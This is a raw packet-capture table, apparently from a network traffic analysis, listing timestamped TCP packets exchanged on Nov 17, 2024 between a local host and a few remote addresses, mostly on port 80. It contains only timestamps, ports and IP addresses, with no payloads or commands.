Nov 17, 2024 12:35:39.586503983 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.586528063 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586606026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586625099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586647034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586672068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586688042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586703062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586718082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586730957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586740971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586771011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586828947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586842060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.586869001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586891890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.586997986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587055922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587138891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587152958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587168932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587181091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587186098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587197065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587205887 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587213039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587225914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587236881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587255955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587274075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587290049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587328911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587338924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587356091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587369919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587385893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587398052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587400913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587431908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587440968 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587546110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587562084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587579966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587584019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587589025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587605953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587635040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587704897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587718964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587733030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587743998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587758064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587773085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587774038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587789059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587794065 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587812901 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587837934 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.587970018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.587985039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588000059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588016033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588025093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588052988 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588116884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588160992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588162899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588198900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588270903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588284969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588301897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588308096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588319063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588320971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588339090 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588355064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588414907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588428974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588450909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588464022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588466883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588481903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588490009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588515043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588530064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588546991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588582993 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588746071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588758945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588773012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588788033 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588800907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588814974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588834047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588846922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588860989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588876963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588891029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588906050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588920116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.588927984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588927984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588947058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.588969946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589185953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589199066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589222908 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589232922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589238882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589247942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589252949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589261055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589267969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589277983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589296103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589303970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589310884 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589318037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589345932 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589358091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589361906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589370012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589384079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589400053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589402914 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.589413881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589415073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589437008 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589473963 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.589524984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589757919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589773893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589788914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589806080 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589829922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589839935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589857101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589873075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.589878082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589900970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.589987040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590183020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590198040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590213060 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590229034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590234041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590240002 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590256929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590256929 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.590260029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590276957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590284109 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590292931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590308905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590315104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590315104 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.590325117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590329885 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.590339899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590346098 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.590352058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590353966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590372086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590384960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590387106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590388060 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.590404034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590415001 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590415001 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.590418100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590432882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590434074 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590459108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590481997 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590632915 CET	49893	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.590646029 CET	443	49893	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.590809107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590825081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590854883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590867043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590882063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590898037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590919018 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590926886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590933084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.590935946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.590976000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.627355099 CET	49900	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:39.627363920 CET	443	49900	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:39.627394915 CET	49899	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:39.627412081 CET	443	49899	23.198.7.173	192.168.2.5
Nov 17, 2024 12:35:39.629468918 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.629494905 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.629569054 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.629585981 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.629596949 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.629626989 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.675998926 CET	49900	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:39.676146030 CET	49899	443	192.168.2.5	23.198.7.173
Nov 17, 2024 12:35:39.705173016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705235004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705249071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705259085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705276966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705281973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705310106 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705318928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705429077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705471992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705477953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705487967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705511093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705523014 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705804110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705852032 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705914974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705930948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705946922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705970049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.705970049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705970049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.705995083 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.706002951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.706022978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.706063986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.708470106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.708498001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.708513021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.708532095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.708554029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.708615065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.708630085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.708663940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.708729982 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.708750963 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.708791018 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.708811045 CET	443	49892	23.47.50.145	192.168.2.5
Nov 17, 2024 12:35:39.708822012 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.709075928 CET	49892	443	192.168.2.5	23.47.50.145
Nov 17, 2024 12:35:39.709099054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709126949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709141016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709167957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709184885 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709233046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709248066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709269047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709284067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709285975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709306955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709317923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709335089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709352970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709407091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709420919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709434986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709445953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709451914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709467888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709471941 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709501982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709558964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709574938 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709592104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709595919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709606886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709614038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709630966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709645987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709731102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709743977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709757090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709764957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709774017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709780931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709789991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709796906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709805012 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709811926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709827900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709842920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709855080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709920883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709930897 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709938049 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709952116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709955931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709968090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.709970951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.709995985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710005045 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710117102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710131884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710146904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710151911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710163116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710170031 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710179090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710184097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710191965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710201025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710218906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710249901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710264921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710278988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710297108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710310936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710416079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710428953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710443020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710458994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710464954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710474968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710493088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710508108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710551977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710607052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710621119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710634947 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710643053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710650921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710665941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710673094 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710681915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710689068 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710715055 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710764885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710800886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710865974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710881948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710896969 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710901976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710916042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.710927963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710959911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.710978031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711021900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:39.711081028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711095095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:39.711108923 CET	80	49778	185.215.113.206	192.168.2.5
